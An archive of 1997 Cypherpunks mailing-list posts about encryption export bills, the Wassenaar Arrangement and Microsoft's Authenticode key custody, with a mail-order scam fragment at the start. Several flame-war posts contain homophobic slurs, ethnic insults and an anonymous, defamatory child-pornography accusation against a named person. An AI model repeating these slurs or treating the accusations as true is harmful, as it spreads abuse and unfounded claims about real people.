   San Clemente, CA 92672                                                                               
                                                                                                                        
             ( ) Yes, I would like to get started. Please rush me                              
                  "Real Home Income" under your lifetime money-                         
                   back guarantee. Enclosed is $29.95 plus $3.00 for                        
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        Name____________________________________________       
                                                                                                                        
       Address___________________________________________     
                                                                      
       City, State, Zip_____________________________________     


-------------------------------------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JOlson <jolson3@netbox.com>
Date: Wed, 5 Mar 1997 03:24:26 -0800 (PST)
To: cypherpunks@toad.com
Subject: File Systems
Message-ID: <199703051124.DAA25832@netbox.com>
MIME-Version: 1.0
Content-Type: text/plain


Are there any commercial/shareware/freeware versions of cryptographic file systems for any Windows environment?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 06:38:27 -0800 (PST)
To: tcmay@got.net (Tim May)
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305064441.00d70e08@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:36 AM 3/3/97 -0800, Tim May wrote:
>(These items may not be banned for general export, given the language about
>an "identfied individual or organization," but think of the new mischief
>this will cause. For example, if remailers are used to evade taxes by some
>individuals connecting to some sites, then exporters (like Eric Hughes,
>Lance Cottrell, whomever is writing remailers these days) may have to jump
>through large numbers of hoops to ensure that some specific site does not
>get the software...this will effectively make export of remailers
>impossible to legally do...as I read the language of the Bill.)

I don't think that Pro-CODE can be used to control the dissemination of
remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
Secretary shall prohibit the export or reexport of particular computer
software and hardware *described in this subsection* to an identified
individual or organization . . if the Secretary determines that there is
substantial evidence that such software and computer hardware will be . .
(iv) intentionally used to evade enforcement of US law or taxation by the
US or by any State or local government." (emphasis added)

I read "described in this subsection" to refer to Section 5(c), and the
best description I can find in 5(c) of computer hardware and software is
"computer hardware, computer software, and technology with encryption
capabilities, except computer hardware, computer software, and technology
that is specifically designed or modified for military use, including
command, control, and intelligence applications", in section 5(c)(1).

So I don't think that this creates a new ability to control the
dissemination of non-crypto hardware or software. (The Mixmaster remailer
software, which does include crypto, would still be controlled.) 

The prohibitions on export to named individuals and organizations will be
effectively useless with respect to those parties getting strong crypto -
the only utility I can see in such a clause is to be used as a club against
domestic sympathizers/allies of unpopular groups/people abroad. It also
seems likely to lead to yet another round of worrying about whether the
format of a particular distribution site on the Internet is sufficiently
configured - if ProCODE passes, instead of asking "Are you a US citizen?",
distribution sites will ask "Are you on the list of forbidden people?" Same
difference. 

>And the other language--about how companies have to advise the government
>about what they are doing, and the "review board"--are possibly ominous.

Indeed. The "Findings/Purpose" text (Section 2), includes the following:

"(16) The Federal Government has legitimate law enforcement and national
security objectives which necessitate the disclosure to the Federal
Government of general information that is neither proprietary nor
confidential by experts in information security industries, including
cryptographers, engineers, and others designated in the design and
development of information security products. *By relaxing export controls
on encryption products and programs, this Act creates an obligation on the
part of representatives of companies involved in the export of information
security products to share information about these products to designated
representatives of the Federal Government.*" (emphasis added)

and Section 5(c)(4)(A) reads:

"Exports. The publisher or manufacturer of computer software or hardware
with encryption capabilities shall disclose (for reporting purposes only)
within 30 days after export to the Secretary such information regarding a
program's or product's encryption capabilities as would be required for an
individual license to export that program or product." 

The former has no real force, as "findings" aren't enforceable, but are
intended for use by courts who are interpreting or construing a statute.
But I don't see a technical reason why the latter wouldn't be enforceable.
(Modulo the First Amendment, of course.) 

Another feature of Pro-CODE that I haven't seen discussed is that it
restricts the *private* dissemination of code - e.g., a US programmer may
make his/her code globally available (if it is "generally available, as is,
and designed for installation by the user or purchaser", section
5(c)(2)(a)(i)), but a US programmer may not (assuming the current
regulations, or similar regs, are in force) share code privately (say,
pre-release) with foreign programmers. My hunch is that the drafters didn't
intend this consequence, but I think it's a logical conclusion given that
(a) Pro-CODE doesn't define "export", (b) current regulations define
"export" as, roughly, providing software to non-US persons, and (c)
Pro-CODE only allows "generally available, as is, and designed for
installation by the user" software to be exported. So it still won't be
legal for a US person to work collaboratively with a foreigner on
development (even if the development took place in a public forum, like
sci.crypt, the intermediate drafts probably wouldn't be "designed for
installation by the user"), nor for a US person to write crypto for
internal corporate use, or to share crypto code with friends overseas
without making a public release.  


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 04:42:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: HOT_sum
Message-ID: <1.5.4.32.19970305123540.006b2b38@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


3-03-97:

"Congress Vs. President On Encryption"

 Last week a bill was reintroduced in the Senate to ease restrictions 
 on the export of encryption technology. But the Clinton administration 
 is preparing to back new legislation proposing additional controls over 
 encryption software, according to sources familiar with the plans.
 The White House is preparing to back legislation that will deal with the
  liability issues surrounding trusted third parties. That legislation may 
 seek to  regulate the entities that will preside over digital signature and
 digital certificate authentication.

 "It's going to be a long, hot summer," Bidzos said.

----------

HOT_sum

Return blank message with this key as subject for full article.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 07:45:29 -0800 (PST)
To: cryptography@c2.net
Subject: ECPA/1997: the other shoe?
Message-ID: <3.0.1.32.19970305075144.00727e54@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



I've seen discussion on various lists and in the media about the reissue of
Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
the "Encrypted Communications Privacy Act of 1997", which implements a lot
of legislation that cypherpunks types have been speculating about for
several years now.

I couldn't find an easily-accessible version of the bill's text on thomas,
so I cobbled one together from the online version of the Congressional
Register. It's located at <http://www.io.com/~gbroiles/ecpa1997.html>. I
HTML-ized it in a hurry, so please rely on the official version when one
becomes available. 

I haven't had a chance to go over it in detail, but it purports to do these
things:

Makes the use of any cryptosystem in the US, or by US persons on foreign
soil, legal;

Prohibits the implementation of mandatory key escrow

Establishes standards and procedures under which key escrow agents may
release escrowed keys (including criminalizing wrongful release and
wrongful failure to release pursuant to court order/other authorization)

Criminalizes the willful use of encryption to obstruct justice

Confirms that it is legal to sell any cryptosystem within the US 

Sets standards for the release of keys to foreign governments

I'll post a more detailed summary later when I've had a chance to go over
the bill more carefully.
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 5 Mar 1997 08:11:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Wassenaar Arrangement
Message-ID: <3.0.1.32.19970305081729.006eb4bc@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Has anyone had any luck finding the actual text of the Wassenaar
Arrangement? The Arms Control & Disarmament Agency has a summary/factsheet
available on its web site (mirrored, I believe, on JYA's web site) but I
haven't been able to find a copy of the actual text. I spoke with someone
this morning at the ACDA who said that the actual text "has not been
released by our government" and that to his knowledge it had not been
publicly released by any government. I'm faxing a FOIA request to their
legal folks this morning (talked to someone in their general counsel's
office who said he wasn't sure if it was available via FOIA or not) but I
suspect I won't get it.

Has anyone actually seen the text of the thing? 

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 08:28:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Having the smarts to retire early
In-Reply-To: <v03007802af428d263c48@[207.167.93.63]>
Message-ID: <c5J43D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> I never reply to these 'bot-generated things, but this one really does
> crack me up:
> 
> At 9:48 PM +0100 3/4/97, Anonymous wrote:
> >Timothy C[retin] May is another loser who pays for got.net
> >because he lacks the mental capacity to gain net access as
> >a perk of either employment or academic achievment.
> >
> >          ,,,
> >         ($ $)
> >     -ooO-(_)-Ooo- Timothy C[retin] May
> 
> 
> An alternate interpretation: that I had the smarts to make enough money to
> retire at age 34 for the rest of my life. Being that I'm now into my 11th
> year of said retirement, I'd say paying $20 a month to got.net for
> unlimited usage is a lot better deal than either "employment" or "academic"
> subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> freedom from the constraints and disclaimers forced upon corporate and even
> academic users.
> 
> Oh, and my first "academic" Net connection, modulo the Net not being very
> advanced or usable in those days, was in 1973.
> 
> --Tim May

I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
I suppose he studies the bounce messages from mailer deamons too.

WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
Date: Wed, 5 Mar 1997 09:36:26 -0800 (PST)
To: "'gbroiles-nospam@netbox.com
Subject: RE: Microsoft Authenticode key security
Message-ID: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
MIME-Version: 1.0
Content-Type: text/plain


Actually, and sort of to the point, no, the keys never actually ever the
BBN box, except as part of a backup procedure in which they are
extracted in a doubly-encrypted form for which for security reasons you
need the manufacturer's help in restoring.

To this day, no human or computer other than the box itself knows the
key.

	Bob

> -----Original Message-----
> From:	Toto [SMTP:toto@sk.sympatico.ca]
> Sent:	Wednesday, March 05, 1997 9:18 AM
> To:	gbroiles-nospam@netbox.com
> Cc:	cypherpunks@toad.com; Bob Atkinson (Exchange)
> Subject:	Re: Microsoft Authenticode key security
> 
> Greg Broiles wrote:
> > >From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
> > >Subject: Comments and corrections regarding Authenticode
> > >
> > >For those curious: at the present time, the private keys with which
> > >Microsoft signs code that it publishes are managed inside BBN
> SafeKeyper
> > >boxes housed in a guarded steel and concrete bunker. Even were a
> SafeKeyper
> > >to somehow be physically stolen, these cool little boxes have
> several
> > >elaborate internal defenses designed to have the box destroy itself
> rather
> > >than compromise its keys.
> 
>   Bob fails to mention, however, that, as a backup system, the keys
> are 
> also written on pieces of masking tape attached to the underside of
> his keyboard.
> -- 
> Toto
> http://bureau42.base.org/public/xenix/xenbody.html




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Wed, 5 Mar 1997 09:49:15 -0800 (PST)
To: iverson@usa.net
Subject: Re: Master of disinformation
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <199703051747.JAA00256@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

 > The rather large mass of Russian dung a.k.a. Dr.Dimitri
 > Vulis KOTM wrote

 >> John Gilmore lied.

 > Consider the irony of the Russian slime ball master of
 > disinformation (probably trained by the KGB), calling
 > someone *else* a liar.

Even a liar has to tell the truth sometimes, else he would not
be a very successful liar.  I'd trust our KOTM anyday over the
traitorous ex-cypherpunk and world-famous cocksucker John
"Hooverlips" Gilmore.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Wed, 5 Mar 1997 07:10:18 -0800 (PST)
To: cypherpunks@algabra.com
Subject: Master of disinformation
Message-ID: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain


The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote

>> John Gilmore lied.

Consider the irony of the Russian slime ball master of disinformation
(probably trained by the KGB),
calling someone *else* a liar.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 5 Mar 1997 09:32:14 -0800 (PST)
To: gbroiles-nospam@netbox.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <331e62b2.3884779@library.airnews.net>
Message-ID: <331DAAC8.D2E@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> >From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
> >Subject: Comments and corrections regarding Authenticode
> >
> >For those curious: at the present time, the private keys with which
> >Microsoft signs code that it publishes are managed inside BBN SafeKeyper
> >boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
> >to somehow be physically stolen, these cool little boxes have several
> >elaborate internal defenses designed to have the box destroy itself rather
> >than compromise its keys.

  Bob fails to mention, however, that, as a backup system, the keys are 
also written on pieces of masking tape attached to the underside of
his keyboard.
-- 
Toto
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 5 Mar 1997 10:49:52 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Having the smarts to retire early
In-Reply-To: <c5J43D1w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


                                          : ab756@freenet.toronto.on.ca


On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

> "Timothy C. May" <tcmay@got.net> writes:
> 
> > I never reply to these 'bot-generated things, but this one really does
> > crack me up:
> > 
> > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > >Timothy C[retin] May is another loser who pays for got.net
> > >because he lacks the mental capacity to gain net access as
> > >a perk of either employment or academic achievment.
> > >
> > >          ,,,
> > >         ($ $)
> > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > 
> > 
> > An alternate interpretation: that I had the smarts to make enough money to
> > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > year of said retirement, I'd say paying $20 a month to got.net for
> > unlimited usage is a lot better deal than either "employment" or "academic"
> > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > freedom from the constraints and disclaimers forced upon corporate and even
> > academic users.
> > 
> > Oh, and my first "academic" Net connection, modulo the Net not being very
> > advanced or usable in those days, was in 1973.
> > 
> > --Tim May
> 
> I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> I suppose he studies the bounce messages from mailer deamons too.
> 
> WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FROM
> ANY MAILING LIST ON HIS TOAD.COM COMPUTER.

Vulis keep your pervert voice off the list.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 5 Mar 1997 09:11:50 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: ECPA/1997: the other shoe?
Message-ID: <1.5.4.32.19970305170449.00731050@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for pointing this. We got a TXT version from GPO Access
and put it at:

   http://jya.com/s376.txt

With a link to your HTML.

On Waasenaar, we've written a few folks about finding a full copy, but
so far the word is the same as State's: none has been publically released.
Hope you get it.

When the pact was first discussed at State a recorder transcribed 
"Vasinor (phonetic)," so that term might turn up in searches.

As you noted, for those interested, we've put a few Waasenaar docs at:

   http://jya.com/acda.htm

Back to your FOIA to CIA, and the Agency's referral to FCC: I wonder if 
there might not be something to that lead. As you must know, the legislation 
covering national telecommunications security puts the FCC in the center 
of infowehr C4I. Excuse this cite to a pro citer, the NatSec Telecomm 
leg is at:

  http://jya.com/47cfr2.htm

This might support the CIA's intel that FCC is the chokepoint for CPI for
the IC.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: gbroiles-nospam@netbox.com (Greg Broiles)
Date: Wed, 5 Mar 1997 05:51:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Microsoft Authenticode key security
Message-ID: <331e62b2.3884779@library.airnews.net>
MIME-Version: 1.0
Content-Type: text/plain



Recent discussion on the cypherpunks list(s) talked about the
feasibility of subverting Microsoft's security model by stealing their
private key(s). The following snippet (originally sent to RISKS
digest) might be of interest:

>Date: Mon, 3 Mar 1997 19:23:15 -0800
>From: "Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com>
>Subject: Comments and corrections regarding Authenticode
>
>As the architect and primary implementor of the Authenticode code-signing
>technology (boy, that'll get me mail :-) found in Internet Explorer 3 and in
>Windows NT 4, I think my perhaps somewhat lengthy and clearly very biased
>perspective on some recent articles might be of interest to others.
>Bob Atkinson
>[...]
>For those curious: at the present time, the private keys with which
>Microsoft signs code that it publishes are managed inside BBN SafeKeyper
>boxes housed in a guarded steel and concrete bunker. Even were a SafeKeyper
>to somehow be physically stolen, these cool little boxes have several
>elaborate internal defenses designed to have the box destroy itself rather
>than compromise its keys. As I understand things, a military variation on
>the SafeKeyper technology is used as an integral part of launch control of
>nuclear missiles on submarines in the US Navy.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Master of fellatio
In-Reply-To: <3.0.16.19970305100108.41b716f6@pop.netaddress.com>
Message-ID: <L1343D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Casey Iverson <iverson@usa.net> writes:

> The rather large mass of Russian dung  a.k.a. Dr.Dimitri Vulis KOTM wrote
> 
> >> John Gilmore lied.
> 
> Consider the irony of the Russian slime ball master of disinformation
> (probably trained by the KGB),
> calling someone *else* a liar.
> 

There were plenty of good cryptographers working for the KGB.
I had the pleasure of meeting a few in persons and communicating
with many others.
Filthy lying cocksucker John Gilmore is not worthy to suck their dicks.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Wed, 5 Mar 1997 14:50:12 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: The Pro-CODE Bill could make things worse!
Message-ID: <01IG5GWYDFLG8Y5EZW@mbcl.rutgers.edu>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"gbroiles@netbox.com"  "Greg Broiles"  5-MAR-1997 10:04:19.81

>I don't think that Pro-CODE can be used to control the dissemination of
>remailers. The bit of Pro-CODE at issue here (section 5(c)(3)(B) "The
>Secretary shall prohibit the export or reexport of particular computer
>software and hardware *described in this subsection* to an identified
>individual or organization . . if the Secretary determines that there is
>substantial evidence that such software and computer hardware will be . .
>(iv) intentionally used to evade enforcement of US law or taxation by the
>US or by any State or local government." (emphasis added)

>I read "described in this subsection" to refer to Section 5(c), and the
>best description I can find in 5(c) of computer hardware and software is
>"computer hardware, computer software, and technology with encryption
>capabilities, except computer hardware, computer software, and technology
>that is specifically designed or modified for military use, including
>command, control, and intelligence applications", in section 5(c)(1).

>So I don't think that this creates a new ability to control the
>dissemination of non-crypto hardware or software. (The Mixmaster remailer
>software, which does include crypto, would still be controlled.) 

Umm... non-encrypting remailers aren't much use. While something could
be worked out (as for most current Type 1 remailers) allowing hooking in
PGP or whatever, I would wonder whether that would make the remailer
program itself have "encryption capabilities" - a la the "crypto hooks"
restrictions in current export regulations. This would be even more of
a problem for remailers using socket links and DH superencryption to
prevent remailer operators from being pressured to decrypt intercepted
messages.

These prohibitions would also prohibit or at least restrict export of
technologies such as decense and the anonymizer in versions (as is
preferable) using encryption, except _possibly_ (see above) those
hooking in encryption from outside. Circumstances in which such
could be used to defeat US laws include a decense server being used to
prevent the tracing of an in-US pornographic site, if (heaven forbid)
the CDA (or a lesser version, such as one requiring labeling or going
by a "harmful to minors" standard) is found constitutional.

>The prohibitions on export to named individuals and organizations will be
>effectively useless with respect to those parties getting strong crypto -
>the only utility I can see in such a clause is to be used as a club against
>domestic sympathizers/allies of unpopular groups/people abroad. It also
>seems likely to lead to yet another round of worrying about whether the
>format of a particular distribution site on the Internet is sufficiently
>configured - if ProCODE passes, instead of asking "Are you a US citizen?",
>distribution sites will ask "Are you on the list of forbidden people?" Same
>difference. 

It is rather reminiscent, yes. If, for instance, all it requires is a check
on whether the domain name indicates the _certainty_ of being from such a
country, then it won't be extremely onerous... but I'm certain that the
government will try to interpret it in the most restrictive way possible.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Wed, 5 Mar 1997 17:45:32 -0800 (PST)
To: Greg Broiles <cryptography@c2.net
Subject: Re: ECPA/1997: the other shoe?
Message-ID: <199703060144.RAA08671@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:51 AM 3/5/97 -0800, Greg Broiles wrote:
>I've seen discussion on various lists and in the media about the reissue of
>Sen. Burns' Pro-CODE bill (S. 377); I was poking around thomas.loc.gov for
>information about S. 377 and ran across S. 376, introduced by Sen. Leahy,
>the "Encrypted Communications Privacy Act of 1997", which implements a lot
>of legislation that cypherpunks types have been speculating about for
>several years now.
[snip]
>I haven't had a chance to go over it in detail, but it purports to do these
>things:
>Makes the use of any cryptosystem in the US, or by US persons on foreign
>soil, legal;

Which is somewhat illogical, because if we assume that things are legal 
until made illegal, and there is no illegal cryptosystem, that means that no 
bill can "make the use of any cryptosystem legal."

(I understand, of course, that you may simply be saying that the bill 
pretends to do it...)


>Prohibits the implementation of mandatory key escrow

Again, somewhat of a non-issue, wouldn't you say?  What with the 1st 
amendment, the government would have an enormous uphill battle to make key 
escrow mandatory anyway.


>Establishes standards and procedures under which key escrow agents may
>release escrowed keys (including criminalizing wrongful release and
>wrongful failure to release pursuant to court order/other authorization)

Key escrow agents (to the extent they currently exist and will exist in the 
future) are presumably entitled to contract with their customers whatever 
conditions and terms their customers desire.  If that DOESN'T include 
sharing the key with the government, as far as I know that's entirely 
legitimate.  ("impairment of contracts.") Also, I see no reason to believe 
that those agents will necessarily have copies of the keys in unencrypted 
form, useable by the government.  


>Criminalizes the willful use of encryption to obstruct justice

Which, as Tim May points out, could imply practically any useage of crypto 
with the "appropriate" misinterpretation on the part of government, 
particularly encrypted remailers.  Just what the Leahy bill last year 
appeared to be intended to do.


>Confirms that it is legal to sell any cryptosystem within the US 

Again, that's unnecessary and redundant.

>Sets standards for the release of keys to foreign governments


>
>I'll post a more detailed summary later when I've had a chance to go over
>the bill more carefully.

What we should be particularly suspicious of is any differnces between last 
year's bill and this year's.  Somehow I doubt we'll see any desireable 
change; all the changes will be bad.


Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 5 Mar 1997 19:18:20 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: The Pro-CODE Bill could make things worse!
In-Reply-To: <199703030817.AAA24224@you.got.net>
Message-ID: <3.0.1.32.19970305181923.0062b098@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:44 AM 3/5/97 -0800, Greg Broiles wrote:
>"Exports. The publisher or manufacturer of computer software or 
>hardware with encryption capabilities shall disclose (for reporting 
>purposes only) within 30 days after export to the Secretary such 
>information regarding a program's or product's encryption capabilities 
>as would be required for an individual license to export that program 
>or product." 
>
>The former has no real force, as "findings" aren't enforceable, but are
>intended for use by courts who are interpreting or construing a statute.
>But I don't see a technical reason why the latter wouldn't be enforceable.
>(Modulo the First Amendment, of course.) 

Can it be construed as a "taking"?  (Or was that just an "excise tax",
payable in intellectual property rather than in money?)
Unless the information required for an individual license is 
substantially less under the New Regime than under the Ancien' Regime,
they're asking for a lot of information - in the past, it's included
source code, documentation, etc., as well as customer data.
What restrictions are there on government use of this information apply?
State governments, e.g. California, have a history of ripping off
copyright and refusing to accept lawsuits against themselves -
can the Feds do the same?  Maybe they can't refuse to let you export
any more, but can they threaten to publish your source code on
http://www.dockmaster.mil/warez/ if you don't do what they want?....




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Wed, 5 Mar 1997 21:30:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199703060336.TAA13790@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C. Maypole's babblings are 
preposterous lies, wild distortions, child 
pornography (both as graphic descriptions 
and in JPEG format), ethnic slurs, and 
racial epithets.

      o      o o o   o
     /~>    <><><>   <> Tim C. Maypole
  o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:30:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <L0c53D131w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Bob Atkinson (Exchange)" <bobatk@EXCHANGE.MICROSOFT.com> writes:

> Actually, and sort of to the point, no, the keys never actually ever the
> BBN box, except as part of a backup procedure in which they are
> extracted in a doubly-encrypted form for which for security reasons you
> need the manufacturer's help in restoring.
>
> To this day, no human or computer other than the box itself knows the

But do we necessarily believe what Microsoft people say?

Dimitri "bought OS/2 1.0 from Microsoft" Vulis

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 5 Mar 1997 18:33:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Having the smarts to retire early
In-Reply-To: <Pine.A41.3.95.970305114532.55450B-100000@freenet.edmonton.ab.ca>
Message-ID: <ukF53D134w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Graham-John Bullers <real@freenet.edmonton.ab.ca> writes:

>                                           : ab756@freenet.toronto.on.ca
>
>
> On Wed, 5 Mar 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > "Timothy C. May" <tcmay@got.net> writes:
> >
> > > I never reply to these 'bot-generated things, but this one really does
> > > crack me up:
> > >
> > > At 9:48 PM +0100 3/4/97, Anonymous wrote:
> > > >Timothy C[retin] May is another loser who pays for got.net
> > > >because he lacks the mental capacity to gain net access as
> > > >a perk of either employment or academic achievment.
> > > >
> > > >          ,,,
> > > >         ($ $)
> > > >     -ooO-(_)-Ooo- Timothy C[retin] May
> > >
> > >
> > > An alternate interpretation: that I had the smarts to make enough money t
> > > retire at age 34 for the rest of my life. Being that I'm now into my 11th
> > > year of said retirement, I'd say paying $20 a month to got.net for
> > > unlimited usage is a lot better deal than either "employment" or "academi
> > > subsidy. I'd even pay $100 a month, if that was my only choice, to ensure
> > > freedom from the constraints and disclaimers forced upon corporate and ev
> > > academic users.
> > >
> > > Oh, and my first "academic" Net connection, modulo the Net not being very
> > > advanced or usable in those days, was in 1973.
> > >
> > > --Tim May
> >
> > I feel sorry for Tim May.  He's so bored, he reads 'bot fodder.
> > I suppose he studies the bounce messages from mailer deamons too.
> >
> > WARNING: COCKSUCKER JOHN GILMORE IS FORBIDDEN TO REDISTRIBUTE MY E-MAIL FRO
> > ANY MAILING LIST ON HIS TOAD.COM COMPUTER.
>
> Vulis keep your pervert voice off the list.

I'm not sending anything to cypherpunks@toad.com and in fact I don't
want the lying, thieving cocksucker John Gilmore to redistribute any
of my writings via any mailing list at toad.com.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 5 Mar 1997 13:20:51 -0800 (PST)
To: bobatk@exchange.microsoft.com
Subject: Re: Microsoft Authenticode key security
In-Reply-To: <7D9A01DBBFD5CF11AD0F0000F8411F8A42697E@ROADKILL>
Message-ID: <199703052110.VAA00412@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bob Atkinson <bobatk@microsoft.com> writes:
